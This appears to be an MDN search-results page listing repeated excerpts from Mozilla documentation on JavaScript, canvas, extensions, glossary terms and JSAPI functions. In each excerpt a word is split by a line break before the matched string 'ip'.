ipt interface in gecko for an example. resetting the xsltprocessor object also implements a xsltprocessor.reset() method, which can be used to remove all stylesheets and parameters then put the processor back into its initial state. this method is implemented in mozilla 1.3 and later. resources the following reflect the interface of the xsltprocessor object: nsixsltprocessor.idl xsltprocesso...
...nstantiating an xsltprocessor from an xpcom component requires a different syntax as the constructor is not defined inside components. ...
Canvas code snippets - Archive of obsolete content
this can be used to determine if the mouse cursor is inside a certain shape or not. function getpixelcolour(canvas, x, y) { var cx = canvas.getcontext('2d'); var pixel = cx.getimagedata(x, y, 1, 1); return { r: pixel.data[0], g: pixel.data[1], b: pixel.data[2], a: pixel.data[3] }; } ...
... canvas = document.getelementbyid(canvas); } if (!(this instanceof canvas2dcontext)) { return new canvas2dcontext(canvas); } this.context = this.ctx = canvas.getcontext('2d'); if (!canvas2dcontext.prototype.arc) { canvas2dcontext.setup.call(this, this.ctx); } } canvas2dcontext.setup = function() { var methods = ['arc', 'arcto', 'beginpath', 'beziercurveto', 'clearrect', 'cl
ip', 'closepath', 'drawimage', 'fill', 'fillrect', 'filltext', 'lineto', 'moveto', 'quadraticcurveto', 'rect', 'restore', 'rotate', 'save', 'scale', 'settransform', 'stroke', 'strokerect', 'stroketext', 'transform', 'translate']; var gettermethods = ['createpattern', 'drawfocusring', 'ispointinpath', 'measuretext', // drawfocusring not currently supported // the following might in...
... saving a canvas image to a file the following function accepts a canvas object and a destination file path string. the canvas is converted to a png file and saved to the specified location. the function returns a promise which resolves when the file has been completely saved. function savecanvas(canvas, path, type...
Downloading JSON and JavaScript in extensions - Archive of obsolete content
a common practice found in many extensions is using xmlhttprequest (or some other mechanism) to download javascr
ipt or json (they are different) from a remote website. once the content has been downloaded, the extension authors proceed to use eval() to decode the string content into javascr
ipt objects. this practice is dangerous and will not, in fact, pass an amo review. so the extension will not be allowed to move out of the amo sandbox. the practice is dangerous because the decoded javascr
ipt has full chrome privileges and could perform some nasty actions. how could the javascr
ipt an extension downloads perform nasty actions? fairly easy if the webserver where the javascr
ipt is hosted were to be hijacked or compromised. it happens to the best of us. amo takes the threat very seri...
...is there are several ways to workaround the problem. downloading json if the extension is downloading json, then the developer should be using one of the json decoding methods discussed here and not using eval() at all. json is about state and does not allow functions to be decoded. the json decoding methods available to extension developers protect the extension from malicious json and javascr
ipt. downloading state from a remote webserver using json is becoming extremely popular. use the json decoders, not eval()! downloading javascr
ipt of course there are times when javascr
ipt code modules are downloaded and injected into the extension. this usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version...
...mote webserver using json is becoming extremely popular. use the json decoders, not eval()! downloading javascr
ipt of course there are times when javascr
ipt code modules are downloaded and injected into the extension. this usually happens because the extension is trying to keep some of its code fresh and dynamic, and the developers don't want to create a new version of the extension for each scr
ipt change. in this case, javascr
ipt sandboxing should be used to isolate the downloaded javascr
ipt from the rest of the extension, and host application. sandboxing is done using components.utils.evalinsandbox(). the javascr
ipt code is added to the sandbox along with any "safe" objects the javascr
ipt needs to interact. sandboxing is not without its dangers and developers should read the sandboxing ...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
add-ons normally run code at startup, and as it is covered in the main tutorial, all you need is a load event handler and a little code. it is also common for an add-on to require to run a scr
ipt only when it is installed for the first time, or every time it is updated. it can be used to write or copy necessary files to the profile folder, like the initial db the add-on will use for storage. a few others require cleanup code to be run after the add-on is uninstalled. this appendix covers these cases with simple code that should work for most add-ons. install scr
ipts just like with a regular initialization function, we want a load event handler: // rest of overlay code goes here. window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); then al...
...lue(firstrunpref, false)) { application.prefs.setvalue(firstrunpref, true); // all the rest of the first run code goes here. } } in this case you would need to declare the first run preference in your default preferences file, with a default value of false. you should also change the preference value before you run any other first run code. keep in mind that the user could have set mult
iple firefox windows to open at startup, so there's a race condition on which window will run the first run code. if you need to run code on every update, or some of them, the code would be very similar. instead of a boolean preference, it would be best to use a string preference with the last-installed add-on version. and then do a version comparison to decide which code to run. the current versio...
...lean preference, it would be best to use a string preference with the last-installed add-on version. and then do a version comparison to decide which code to run. the current version number can be hard-coded in the first run function, or you can use the add-on manager to dynamically get it. this can get tricky with the firefox 4 addonmanager, so it's probably best to keep it simple. uninstall scr
ipts there are two common cases for needing these: cleaning up local data and presenting an uninstall feedback form. regarding local data, it is debatable if it is good practice to remove it or not. if an add-on is uninstalled and later installed again, it might be desirable for preferences and other settings to be kept. another argument in favor of keeping that data is that firefox doesn't delete ...
Code snippets - Archive of obsolete content
components.utils.import("resource://services-sync/main.js"); // obtain a reference to the main firefox window. ...
...components.utils.import("resource://services-sync/main.js"); // obtain a reference to the main firefox window. ...
...rageurl + "meta/global"); let g = r.get(); let envelope = json.parse(g); let payload = json.parse(envelope.payload); payload.engines[engine].syncid = weave.utils.makeguid(); // or any other guid you like. payload.engines[engine].version = 0; // or any other version number you like. envelope.payload = json.stringify(payload); r.put(json.stringify(envelope)); generate new keys // clients always w
ipe the server when they generate new keys. components.utils.import("resource://services-sync/main.js"); weave.service._freshstart(); // if you want to do it without w
iping the server (which will cause corruption!): weave.service.generatenewsymmetrickeys(); print out a list of large bookmark records // change '1000' as appropriate. components.utils.import("resource://services-sync/engines.js"); ...
Clipboard Test - Archive of obsolete content
jetpack's cl
ipboard support api provides a standardized way for features to access the cl
ipboard. features can get and set the cl
ipboard in various flavors of data type. the namespace associated with this api is jetpack.cl
ipboard which provides both read and write access to the cl
ipboard. the api is fairly straightforward; examples can be found here. this api currently lives in the future and must be imported for use. ...
...dized way for features to access the cl
ipboard. features can get and set the cl
ipboard in various flavors of data type. the namespace associated with this api is jetpack.cl
ipboard which provides both read and write access to the cl
ipboard. the api is fairly straightforward; examples can be found here. this api currently lives in the future and must be imported for use. ...
...et and set the cl
ipboard in various flavors of data type. the namespace associated with this api is jetpack.cl
ipboard which provides both read and write access to the cl
ipboard. the api is fairly straightforward; examples can be found here. this api currently lives in the future and must be imported for use. ...
panel.flip - Archive of obsolete content
<< xul reference home fl
ip type: string normally, when a popup opens near the edge of the screen, it fl
ips over to open on the opposite side of the anchor, so that it doesn't extend off the screen. for example, if the menu doesn't have room to open downward, it fl
ips to open upward instead; this is a vertical fl
ip. horizontal fl
ipping doesn't normally happen, since this would cause menus to open in strange places. for arrow popups, however, being able to fl
ip horizontally makes sense. this attribute, set to both, permits that behavior. you will not normally have to use this attribute, since it's automatically applied to arrow panels. ...
...happen, since this would cause menus to open in strange places. for arrow popups, however, being able to fl
ip horizontally makes sense. this attribute, set to both, permits that behavior. you will not normally have to use this attribute, since it's automatically applied to arrow panels. an arrow panel can also specify a value of slide, which causes the arrow to "slide" instead of fl
ipping when the panel doesn't have room. ...
... instead of fl
ipping when the panel doesn't have room. a sliding panel will have the start (or end) position extended such that the panel can be the requested size, meaning the arrow will no longer be at the start (or end) of the panel - i.e., the arrow will appear to have been slid along the panel to ensure the arrow is still pointing at the anchor. in this image, the panel has fl
ip="slide" and has a width which is greater than the distance from the anchor to the right of the screen (or window), so the panel extends past the left of the anchor, and the arrow slides towards the middle of the panel such that it is still aligned with the anchor. without fl
ip="slide", the panel would have had its width truncated and the panel would not extend to the left of the anchor. ...
Error.description - Archive of obsolete content
non-standard. do not use! this object is a microsoft extension and is only supported in internet explorer. the error.descr
iption property returns or sets the descr
iptive string associated with a specific error. syntax object .descr
iption [= stringexpression] parameters object required. any instance of an error object. stringexpression optional. a string expression containing a descr
iption of the error. remarks the descr
iption property contains the error message string associated with a specific error. use the value contained in this property to alert a user to an error. the descr
iption and message properties provide the same functionality; the descr
iptionproperty provides backward compatibility; the message property complies with the ecma standard. example the following exam...
...ption property contains the error message string associated with a specific error. use the value contained in this property to alert a user to an error. the descr
iption and message properties provide the same functionality; the descr
iptionproperty provides backward compatibility; the message property complies with the ecma standard. example the following example illustrates the use of the descr
iption property. ...
...; the message property complies with the ecma standard. example the following example illustrates the use of the descr
iption property. try { // cause an error: x = y } catch(e) { // prints "[object error]": document.write(e) document.write (" "); // prints 5009: document.write((e.number & 0xffff)) document.write (" "); // prints "'y' is undefined": document.write(e.descr
iption); document.write (" "); // prints "'y' is undefined": document.write(e.message) } requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, internet explorer 10 standards, internet explorer 11 standards. also supported in store apps (windows 8 and window...
New in JavaScript 1.1 - Archive of obsolete content
the following is a changelog for javascr
ipt from netscape navigator 2.0 to 3.0. the old netscape documentation references this as "features added after version 1". netscape navigator 3.0 was released on august 19, 1996. netscape navigator 3.0 was the second major version of the browser with javascr
ipt support. javascr
ipt versions netscape navigator 3.0 also introduced javascr
ipt language versions. <scr
ipt language="javascr
ipt"> <!-- javascr
ipt for navigator 2.0. --> <scr
ipt language="javascr
ipt1.1"> <!-- javascr
ipt for navigator 3.0. ...
...avigator 3.0 was released on august 19, 1996. netscape navigator 3.0 was the second major version of the browser with javascr
ipt support. javascr
ipt versions netscape navigator 3.0 also introduced javascr
ipt language versions. <scr
ipt language="javascr
ipt"> <!-- javascr
ipt for navigator 2.0. --> <scr
ipt language="javascr
ipt1.1"> <!-- javascr
ipt for navigator 3.0. --> new features in javascr
ipt 1.1 new objects array boolean function number new properties number.max_value number.min_value nan number.negative_infinity number.positive_infinity new methods array.prototype.join() array.prototype.reverse() array.prototype.sort() array.prototype.split() new operators typeof void other new features <noscr
ipt> liveconnect. communication between java and javas...
...1.1 new objects array boolean function number new properties number.max_value number.min_value nan number.negative_infinity number.positive_infinity new methods array.prototype.join() array.prototype.reverse() array.prototype.sort() array.prototype.split() new operators typeof void other new features <noscr
ipt> liveconnect. communication between java and javascr
ipt. changed functionality in javascr
ipt 1.1 "object deletion". you can remove an object by setting its object reference to null. constructor and prototype properties on objects added. eval() is now a method of every object (was previously a built-in function); it evaluates a string of javascr
ipt code in the context of the specified object. math.random() now works on every platform. tostrin...
New in JavaScript 1.2 - Archive of obsolete content
the following is a changelog for javascr
ipt from netscape navigator 3.0 to 4.0. the old netscape documentation can be found on archive.org. netscape navigator 4.0 was released on june 11, 1997. netscape navigator 4.0 was the third major version of the browser with javascr
ipt support. javascr
ipt versions netscape navigator 4.0 executes javascr
ipt language versions up to 1.2. note that netscape navigator 3.0 and earlier ignored scr
ipts with the language attribute set to "javascr
ipt1.2" and higher. <scr
ipt language="javascr
ipt1.1"> <!-- javascr
ipt for navigator 3.0. --> <scr
ipt language="javascr
ipt1.2"> <!-- javascr
ipt for navigator 4.0. --> new features in javascr
ipt 1.2 new objects you can create objects using literal notation (inspired by dictionary literal syntax from python 1.x). ...
... number now converts a specified object to a number. number now produces nan rather than an error if x is a string that does not contain a well-formed numeric literal. string now converts a specified object to a string. array.prototype.sort() now works on all platforms. it no longer converts undefined e...
... number now converts a specified object to a number. number now produces nan rather than an error if x is a string that does not contain a well-formed numeric literal. string now converts a specified object to a string. array.prototype.sort() now works on all platforms. it no longer converts undefined elements to null and sorts them to the h...
New in JavaScript 1.4 - Archive of obsolete content
the following is a changelog for javascr
ipt 1.4, which was only used for netscape's server side javascr
ipt released in 1999. the old netscape documentation can be found on archive.org. ...
... the following is a changelog for javascr
ipt 1.4, which was only used for netscape's server side javascr
ipt released in 1999. the old netscape documentation can be found on archive.org. ...
... the following is a changelog for javascr
ipt 1.4, which was only used for netscape's server side javascr
ipt released in 1999. the old netscape documentation can be found on archive.org. ...
New in JavaScript 1.8 - Archive of obsolete content
the following is a changelog for javascr
ipt 1.8. this version was included in firefox 3 and is part of gecko 1.9. see bug 380236 for a tracking development bug for javascr
ipt 1.8. using javascr
ipt 1.8 in order to use some of the new features of javascr
ipt 1.8 in html, use: <scr
ipt type="application/javascr
ipt;version=1.8"> ... your code ... </scr
ipt> another way (not recommended) to do this is to use the deprecated <scr
ipt> language attribute and define it as "javascr
ipt1.8". when using the javascr
ipt shell, javascr
ipt xpcom components, or xul <scr
ipt> elements, the latest js version (js1.8 in mozilla 1.9) is used automatically (bug 381031, bug 385159). the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 or higher because existi...
...js version (js1.8 in mozilla 1.9) is used automatically (bug 381031, bug 385159). the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 or higher because existing code might use those keywords as variable or function names. the features that do not introduce new keywords (such as generator expressions) can be used without specifying the javascr
ipt version. new features in javascr
ipt 1.8 expression closures. generator expressions. allowing you to simply create generators (which were introduced in javascr
ipt 1.7). typically you would have to create a custom function which would have a yield in it, but this addition allows you to use array comprehension-like syntax to create an identical generator statement. array.prototype.reduce() a...
...es. generator expressions. allowing you to simply create generators (which were introduced in javascr
ipt 1.7). typically you would have to create a custom function which would have a yield in it, but this addition allows you to use array comprehension-like syntax to create an identical generator statement. array.prototype.reduce() array.prototype.reduceright() changed functionality in javascr
ipt 1.8 changes in destructuring for..in one change that occurred in the release of javascr
ipt 1.8 was a bug fix related to the key/value destructuring of arrays introduced in javascr
ipt 1.7. previously it was possible to destructure the keys/values of an array by using for ( var [key, value] in array ). however, that made it impossible to destructure the values of an array - that were arrays (i.e...
Sharp variables in JavaScript - Archive of obsolete content
warning: sharp variables was a non-standard syntax for creating or serializing cyclic data graphs that used to be supported only by mozilla's spidermonkey js engine. this feature has been removed in bug 566700, firefox 12. form sharp variables have the form of a sharp sign (#) immediately followed by one or more digits. the number represented by the digits serves as the variable's unique identifier, but leading 0s are ignored. ...
...this doesn't do much since the sharp variable is out of scope immediately after a = #2 = {}; // slightly more useful since we retain a reference to the new object to reference the sharp variable, simply append another sharp (#) to the end of the variable name. this acts as a reference to initial variable. you can use this to create objects in a single line of code that would otherwise take mult
iple lines of code. examples mult
iple references var a = { foo:#1=[], bar:#1# }; a.foo.push("hello"); a.bar.push("there!"); alert(a.foo[1]); // "there!" you can avoid using sharp variables by breaking the declaration up into mult
iple lines. var a = { foo:[], bar:undefined }; a.bar = a.foo; a.foo.push("hello"); a.bar.push("there!"); alert(a.foo[1]); // "there!" cyclic reference...
... // 1 a.next.val; // 2 a.next.next.val; // 1 a.next.next == a; // true again, you can eliminate the need for sharp variables by using two lines instead of one for the declaration. ...
2D breakout game using pure JavaScript - Game development
next >> in this step-by-step tutorial we create a simple mdn breakout game written entirely in pure javascr
ipt and rendered on html5 <canvas>. every step has editable, live samples available to play with so you can see what the intermediate stages should look like. you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states. to get the most out of this series of articles you should already have basic to intermediate javascr
ipt knowledge. after working through this tutorial you should be able to build your own simple web games. lesson details all the lessons -- and the different versions of the mdn breakout game we are building together ...
...mple web games. lesson details all the lessons -- and the different versions of the mdn breakout game we are building together -- are available on github: create the canvas and draw on it move the ball bounce off the walls paddle and keyboard controls game over build the brick field collision detection track the score and win mouse controls finishing up starting with pure javascr
ipt is the best way to get a solid knowledge of web game development. after that, you can pick any framework you like and use it for your projects. frameworks are just tools built with the javascr
ipt language; so even if you plan on working with them, it's good to learn about the language itself first to know what exactly is going on under the hood. frameworks speed up development time and help take...
... note: if you are interested in learning about 2d web game development using a game library, consult this series' counterpart, 2d breakout game using phaser. note: this series of articles can be used as material for hands-on game development workshops. ...
Ciphertext - MDN Web Docs Glossary: Definitions of Web-related terms
in cryptography, a c
iphertext is a scrambled message that conveys information but is not legible unless decrypted with the right c
ipher and the right secret (usually a key), reproducing the original cleartext. a c
iphertext's security, and therefore the secrecy of the contained information, depends on using a secure c
ipher and keeping the key secret. ...
... in cryptography, a c
iphertext is a scrambled message that conveys information but is not legible unless decrypted with the right c
ipher and the right secret (usually a key), reproducing the original cleartext. a c
iphertext's security, and therefore the secrecy of the contained information, depends on using a secure c
ipher and keeping the key secret. ...
...cryptography, a c
iphertext is a scrambled message that conveys information but is not legible unless decrypted with the right c
ipher and the right secret (usually a key), reproducing the original cleartext. a c
iphertext's security, and therefore the secrecy of the contained information, depends on using a secure c
ipher and keeping the key secret. ...
Gzip compression - MDN Web Docs Glossary: Definitions of Web-related terms
gz
ip is a file format used for file compression and decompression. it is based on the deflate algorithm that allows files to be made smaller in size which allows for faster network transfers. gz
ip is commonly supported by web servers and modern browsers, meaning that servers can automatically compress files with gz
ip before sending them, and browsers can uncompress files upon receiving them. learn more how to enable compression and gz
ip for page speed. ...
... it is based on the deflate algorithm that allows files to be made smaller in size which allows for faster network transfers. ...
...sed on the deflate algorithm that allows files to be made smaller in size which allows for faster network transfers. ...
IP Address - MDN Web Docs Glossary: Definitions of Web-related terms
an
ip address is a number assigned to every device connected to a network that uses the internet protocol. "
ip address" typically still refers to 32-bit
ipv4 addresses until
ipv6 is deployed more broadly. ...
... an
ip address is a number assigned to every device connected to a network that uses the internet protocol. "
ip address" typically still refers to 32-bit
ipv4 addresses until
ipv6 is deployed more broadly. ...
... an
ip address is a number assigned to every device connected to a network that uses the internet protocol. "
ip address" typically still refers to 32-bit
ipv4 addresses until
ipv6 is deployed more broadly. ...
IPv6 - MDN Web Docs Glossary: Definitions of Web-related terms
ipv6 is the current version of the communication protocol underlying the internet. slowly
ipv6 is replacing
ipv4, among other reasons because
ipv6 allows for many different
ip addresses. ...
...
ipv6 is the current version of the communication protocol underlying the internet. slowly
ipv6 is replacing
ipv4, among other reasons because
ipv6 allows for many different
ip addresses. ...
...
ipv6 is the current version of the communication protocol underlying the internet. slowly
ipv6 is replacing
ipv4, among other reasons because
ipv6 allows for many different
ip addresses. ...
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
round tr
ip time (rtt) is the length time it takes for a data packet to be sent to a destination plus the time it takes for an acknowledgment of that packet to be received back at the origin. the rtt between a network and server can be determined by using the ping command. ...
... see also time to first byte (ttfb) latency ...
... see also time to first byte (ttfb) latency ...
Property (JavaScript) - MDN Web Docs Glossary: Definitions of Web-related terms
a javascr
ipt property is a characteristic of an object, often describing attributes associated with a data structure. there are two kinds of properties: instance properties hold data that are specific to a given object instance. static properties hold data that are shared among all object instances. a property has a name (a string) and a value (primitive, method, or object reference). note that when we say that "a property holds an object", that is shorthand for "a property holds an object reference". this distinction matters because the original referenced object remains unchanged when you change the property's value. ...
...tances. ...
...a value (primitive, method, or object reference). ...
About Scriptable Interfaces - Interfaces
status of this document this is just a starter document, it should not be considered complete. most of the information of this document is based on http://www.mozilla.org/scr
iptable/ and creating xpcom components scr
iptable interfaces interfaces allow xpcom components to expose their functionality to the outside world while hiding the inner details of the component implementation. interfaces are written in an interface descr
iption language. ...
...red complete. most of the information of this document is based on http://www.mozilla.org/scr
iptable/ and creating xpcom components scr
iptable interfaces interfaces allow xpcom components to expose their functionality to the outside world while hiding the inner details of the component implementation. interfaces are written in an interface descr
iption language. when we label an interface as scr
iptable, we're saying that components exporting this interface can be referenced (through this interface) from scr
ipts (e.g javascr
ipt), and that we can write new components implementing the interface using scr
ipt languages. ...
... component implementation. interfaces are written in an interface descr
iption language. when we label an interface as scr
iptable, we're saying that components exporting this interface can be referenced (through this interface) from scr
ipts (e.g javascr
ipt), and that we can write new components implementing the interface using scr
ipt languages. xpconnect xpconnect is a technology that allows scr
iptable interfaces to be used/implemented from/in javascr
ipt scr
ipts. no other scr
ipts languages are supported by xpconnect. python there's an extension extensions/python that bridges the gap between xpcom and python, allowing scr
iptable interfaces to be used/implemented from/in python scr
ipts. ...
Debugging JavaScript
this document is intended to help developers writing javascr
ipt code in mozilla, mainly for mozilla itself, but it may also be useful for web developers. it should give pointers to tools, aids and tricks which make debugging your code easier. web console this is the first place to go when you're debugging a web page; open the web console using the web console option in the web developer menu. this shows any javascr
ipt errors in your app, as well as any logging calls from the console api. browser console the browser console lets you see all javascr
ipt errors and logging in the browser, including from firefox code. to enable it, go to about:config in the url bar and set devtools.chrome.enabled to true, or set the "enable chrome and add-on debugging" option in the developer tool set...
...olbox.) note that you must accept the incoming connection : (you may disable the pop-up above with the devtools.debugger.prompt-connection set to false in about:config. this can be a security risk, especially if you also set the devtools.debugger.force-local preference to false.) then, the browser toolbox displays the available tools for debugging. (note that before firefox 28, only the scr
ipt debugger was available.) the use of these tools are the same as the built-in tools. strict code checking if you set the pref javascr
ipt.options.strict to true, the javascr
ipt engine gives you more types of warnings on the error console, most of which hint at code bugs that are easy to oversee or even bad syntax. (the pref also warns on common javascr
ipt idioms that are not errors). consol...
... allows you to print text on the native console. use \n to output a newline at the end. to see anything, you need to set the pref browser.dom.window.dump.enabled to true, e.g. in about:config (add new pref, it doesn't exist per default). under microsoft windows you additionally need to start firefox via the following command to have a native console : firefox.exe -console using normal javascr
ipt object inspection, you can write a function that dumps a whole object, similar to this ddumpobject(). log.jsm (formerly log4moz) this is a partial implementation of the log4* interfaces (for example, see log4j or log4net). components.utils.import("resource://gre/modules/log.jsm"); "debugger" keyword you can halt venkman or chromebug at a line using the keyword debugger. in debug builds this...
overflow-clip-box-block
the overflow-cl
ip-box-block css property specifies relative to which box the cl
ipping happens when there is an overflow -- in the block direction. /* keyword values */ overflow-cl
ip-box-block: padding-box; overflow-cl
ip-box-block: content-box; /* global values */ overflow-cl
ip-box-block: inherited; overflow-cl
ip-box-block: initial; overflow-cl
ip-box-block: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box. note that this property is activated by default only in the ua stylesheet and chrome contexts. value not found in db! syntax values padding-box this keyword makes the cl
ipping be related to the padding box. content-box this keyword makes the cl
ipping be related to the content box. formal...
... syntax not found in db! ...
...padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzaao" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzaao</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-cl
ip-box-block: padding-box; } javascr
ipt function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, s...
overflow-clip-box-inline
the overflow-cl
ip-box-inline css property specifies relative to which box the cl
ipping happens when there is an overflow -- in the inline direction. /* keyword values */ overflow-cl
ip-box-inline: padding-box; overflow-cl
ip-box-inline: content-box; /* global values */ overflow-cl
ip-box-inline: inherited; overflow-cl
ip-box-inline: initial; overflow-cl
ip-box-inline: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box. note that this property is activated by default only in the ua stylesheet and chrome contexts. value not found in db! syntax values padding-box this keyword makes the cl
ipping be related to the padding box. content-box this keyword makes the cl
ipping be related to the content box. ...
... syntax not found in db! ...
...adding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzaao" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzaao</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; background: lime content-box; } .padding-box { overflow-cl
ip-box-inline: padding-box; } javascr
ipt function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been proposed to the w3c csswg; it is not yet on the standard track but, if accepted, s...
Creating JavaScript tests
in which test suite does your new test belong? jit-tests are intended to test the implementation of the jit. only add tests to these suites which test jit correctness or functionality. jstests is intended for tests of language-visible functionality. please put tests of functionality into jstests even if related tests are in jit-tests, since jstests are closer to (and more easily converted to) test262 tests. ...
...eck that v1 and v2 are the same value. if they're not, throw an exception (which will cause the test to fail). if you are writing a jstests, additional testing functionality is provided for you in shell.js files. you can read about them here. performance testing and general advice do not attempt to test the performance of engine features in the test suite. please keep in mind that the javascr
ipt test suite is run on a wide variety of wildly varying hardware plaforms, from phones all the way up to servers. even tests that check for polynomial time complexity will start to fail in a few years when they have sped up enough to run faster than the granularity of the os scheduler or when run on platforms with higher latencies than your development workstation. these tests will also show up as...
...sically no cost to adding a new test, so add as many feature tests as needed to cover each feature orthogonally. remember that whenever a test fails, someone -- probably you -- is going to have to figure out what went wrong. testing your test run your new test locally before checking it in (or posting it for review). nobody likes patches that include failing tests! see running automated javascr
ipt tests for instructions on how to run jstests or jit-tests. it's also a good sanity check to run each new test against an unpatched shell or browser. the test should fail if it's working properly. checking in completed tests tests are usually reviewed and pushed just like any other code change. just include the test in your patch. security-sensitive tests should not be committed until the cor...
JSPRINCIPALS_HOLD
obsolete since jsapi 13this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. increment or decrement the reference count of a jsprinc
ipals object. syntax jsprinc
ipals_hold(cx, princ
ipals) jsprinc
ipals_drop(cx, princ
ipals) name type descr
iption cx jscontext * a context. princ
ipals jsprinc
ipals * pointer to the jsprinc
ipals object to hold or drop. this argument must not be null. descr
iption jsprinc
ipals_hold and jsprinc
ipals_drop are used to manage memory for jsprinc
ipals objects. princ
ipals are used by the spidermonkey security system. jsprinc
ipals objects are not jsobjects. they are reference counted, not garbage collected. a...
...s * pointer to the jsprinc
ipals object to hold or drop. this argument must not be null. descr
iption jsprinc
ipals_hold and jsprinc
ipals_drop are used to manage memory for jsprinc
ipals objects. princ
ipals are used by the spidermonkey security system. jsprinc
ipals objects are not jsobjects. they are reference counted, not garbage collected. application code that stores a pointer to a jsprinc
ipals object must call jsprinc
ipals_hold(cx, princ
ipals) before storing it and jsprinc
ipals_drop(cx, princ
ipals) when done with it. jsprinc
ipals_hold(cx, princ
ipals) increments the reference count of princ
ipals by 1. jsprinc
ipals_drop(cx, princ
ipals) decrements the reference count of princ
ipals by 1. ...
...rinc
ipals object must call jsprinc
ipals_hold(cx, princ
ipals) before storing it and jsprinc
ipals_drop(cx, princ
ipals) when done with it. jsprinc
ipals_hold(cx, princ
ipals) increments the reference count of princ
ipals by 1. jsprinc
ipals_drop(cx, princ
ipals) decrements the reference count of princ
ipals by 1. if the reference count drops to 0, indicating that no one is using the object anymore, jsprinc
ipals_drop also deallocates princ
ipals by calling its destroy method. see also bug 728250 ...
JSScript
jsscr
ipt is a type in the jsapi. todo: documentation on this gigantic class. for now, i'll just say that this class represents a section of compiled javascr
ipt code, and the functions to create, run, and analyize it. ...
... jsscr
ipt is a type in the jsapi. todo: documentation on this gigantic class. for now, i'll just say that this class represents a section of compiled javascr
ipt code, and the functions to create, run, and analyize it. ...
... jsscr
ipt is a type in the jsapi. todo: documentation on this gigantic class. for now, i'll just say that this class represents a section of compiled javascr
ipt code, and the functions to create, run, and analyize it. ...
JS_CompileFileHandleForPrincipals
this article covers features introduced in spidermonkey 1.8.5 please provide a descr
iption of this function. syntax jsobject * js_compilefilehandleforprinc
ipals(jscontext *cx, jsobject *obj, const char *filename, file *fh, jsprinc
ipals *princ
ipals); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...ehandleforprinc
ipals(jscontext *cx, jsobject *obj, const char *filename, file *fh, jsprinc
ipals *princ
ipals); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * filename const char fh file * princ
ipals jsprinc
ipals * descr
iption please provide a descr
iption. ...
... name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * filename const char fh file * princ
ipals jsprinc
ipals * descr
iption please provide a descr
iption. ...
JS_CompileFileHandleForPrincipalsVersion
this article covers features introduced in spidermonkey 1.8.5 please provide a descr
iption for this function. syntax jsobject * js_compilefilehandleforprinc
ipalsversion(jscontext *cx, jsobject *obj, const char *filename, file *fh, jsprinc
ipals *princ
ipals, jsversion version); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...context *cx, jsobject *obj, const char *filename, file *fh, jsprinc
ipals *princ
ipals, jsversion version); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * filename const char fh file * princ
ipals jsprinc
ipals * version jsversion descr
iption please provide a descr
iption. ...
... cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
JS_CompileUCFunctionForPrincipalsVersion
this article covers features introduced in spidermonkey 1.8.5 please provide a descr
iption for this function. syntax jsfunction * js_compileucfunctionforprinc
ipalsversion(jscontext *cx, jsobject *obj, jsprinc
ipals *princ
ipals, const char *name, unsigned int nargs, const char **argnames, const jschar *chars, size_t length, const char *filename, unsigned int lineno, jsversion version); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...nc
ipals, const char *name, unsigned int nargs, const char **argnames, const jschar *chars, size_t length, const char *filename, unsigned int lineno, jsversion version); name type descr
iption cx jscontext * the context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * princ
ipals jsprinc
ipals * name const char * nargs unsigned int argnames const char ** chars const jschar * length size_t filename const char * lineno unsigned int version jsversion descr
iption please provide a descr
iption. see also please provide a de...
... jsprinc
ipals * name const char * nargs unsigned int argnames const char ** chars const jschar * length size_t filename const char * lineno unsigned int version jsversion descr
iption please provide a descr
iption. see also please provide a descr
iption. ...
mozIPersonalDictionary
extensions/spellcheck/idl/moz
ipersonaldictionary.idlscr
iptable this interface represents a personal dictionary. 1.0 66 introduced gecko 1.4.1 inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/spellchecker/personaldictionary;1. ...
...ents a personal dictionary. 1.0 66 introduced gecko 1.4.1 inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/spellchecker/personaldictionary;1. ...
